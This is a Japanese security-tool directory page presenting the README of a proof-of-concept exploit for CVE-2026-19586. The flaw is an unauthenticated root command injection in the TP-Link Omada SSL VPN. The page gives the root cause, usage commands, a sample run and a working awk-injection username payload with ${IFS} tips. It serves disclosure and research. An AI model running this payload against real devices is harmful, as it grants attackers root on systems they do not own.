Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-19586 — Python PoCは、TP-Link Omada SSL VPNにおける未認証のコマンドインジェクションであるCVE-2026-19586を悪用し、OpenVPNユーザー名インジェクションを通じてrootとして任意のコマンドを実行します。 | Kitploit
ツール/GitHubGitHub/mattgsys/cve-2026-19586
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトネットワークセキュリティ暗号化ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubmattgsys/cve-2026-19586

CVE-2026-19586

Python PoCは、TP-Link Omada SSL VPNにおける未認証のコマンドインジェクションであるCVE-2026-19586を悪用し、OpenVPNユーザー名インジェクションを通じてrootとして任意のコマンドを実行します。

11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見るウェブサイト

CVE-2026-19586 (PoC)

TP-Link Omada SSL VPN 未認証RCE (CVE-2026-19586)

概要

TP-Link OmadaゲートウェイファームウェアのSSL VPN認証パスにおけるコマンドインジェクション脆弱性(CWE-78)により、未認証の攻撃者がrootとして任意のコマンドを実行できます。OpenVPNベースのSSL VPNサーバーが有効な場合、OpenVPNは接続クライアントから送信されたユーザー名を/usr/sbin/checkpsw.shに渡します。このスクリプトはauth-user-pass-verifyディレクティブに接続されています。このスクリプトはユーザー名をクォートせずにawkプログラムに組み込むため、二重引用符を含むユーザー名は、それが貼り付けられたawk文字列リテラルを閉じてしまい、残りの部分がawkのソースコードとして解析されます。

awkのBEGINブロックは入力の最初の行が読み込まれる前に一度だけ実行されるため、注入されたsystem()呼び出しは、送信されたパスワードが何かと比較される前にrootとして実行されます。

このサーバーはクライアント証明書を必要とせず、tls-authやtls-cryptキーも持たず、そのCA証明書はファームウェアイメージにハードコードされています。このリポジトリのca.crtはその証明書であり、影響を受けるファームウェアを実行しているすべてのデバイスで同一であるため、VPNポートに到達できる攻撃者は、認証情報もデバイスへの事前アクセスもなしにTLSハンドシェイクを完了し、インジェクションに到達できます。

ユーザー名にはリテラルのスペースを含めることはできません。シェルがクォートされていない展開をawkが認識する前に別々の引数に分割するためです。代わりに${IFS}を使用してください。これはsystem()によって起動されたシェルがスペースに展開し直します。OpenVPNはユーザー名を128バイトに制限しており、ペイロードの足場はそのうち22バイトを使用するため、コマンド用に106バイトが残ります。

この概念実証(PoC)は、TP-Link Omada ER7212PC v2(ファームウェア6.1.0.19)に対してテストされました。脆弱なスクリプトはOmadaゲートウェイシリーズ全体で共有されていますが、パス、行番号、および動作は他のモデルやファームウェアバージョンでは異なる場合があります。

警告

このPoCは、ターゲットデバイス上でrootとして実行されるユーザー名ペイロードを送信します。この問題はTP-Linkに報告され、アドバイザリに記載されているファームウェアバージョンで修正されています。所有している、または明示的にテストを許可されているハードウェアに対してのみ実行してください。

使用方法

root@kitploit:~
$ sudo python3 cve-2026-19586.py <target> -c '<command>'

openvpnクライアントが必要であり、tunデバイスを作成するためにCAP_NET_ADMINを必要とするため、rootとして実行する必要があります。これはローカルのOpenVPNクライアントの要件であり、ターゲットの要件ではありません。

実行例:

root@kitploit:~
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'

TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
  Target      : 10.0.0.100:1194/udp
  CA cert     : ca.crt
  Command     : id>/tmp/proof
  Username    : x";BEGIN{system("id>/tmp/proof")};#

[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3

[openvpn client output]

コマンドは認証が完了する前にデバイス上で実行されるため、OpenVPNクライアント自体は接続しません。認証試行は失敗し、クライアントは終了しますが、これは想定された動作です。

リンク

  • 詳細な解説: https://mattg.systems/posts/cve-2026-19586/
  • CVEレコード: https://www.cve.org/cverecord?id=CVE-2026-19586
  • TP-Linkセキュリティアドバイザリ: https://www.tp-link.com/us/support/faq/5256/
ツールをダウンロード
引数説明
targetターゲットデバイスのIPまたはホスト名
-c, --commandターゲット上でrootとして実行するコマンド。スペースの代わりに${IFS}を使用する
-p, --portSSL VPN UDPポート(デフォルト: 1194)
--caファームウェアから抽出されたCA証明書(デフォルト: ca.crt)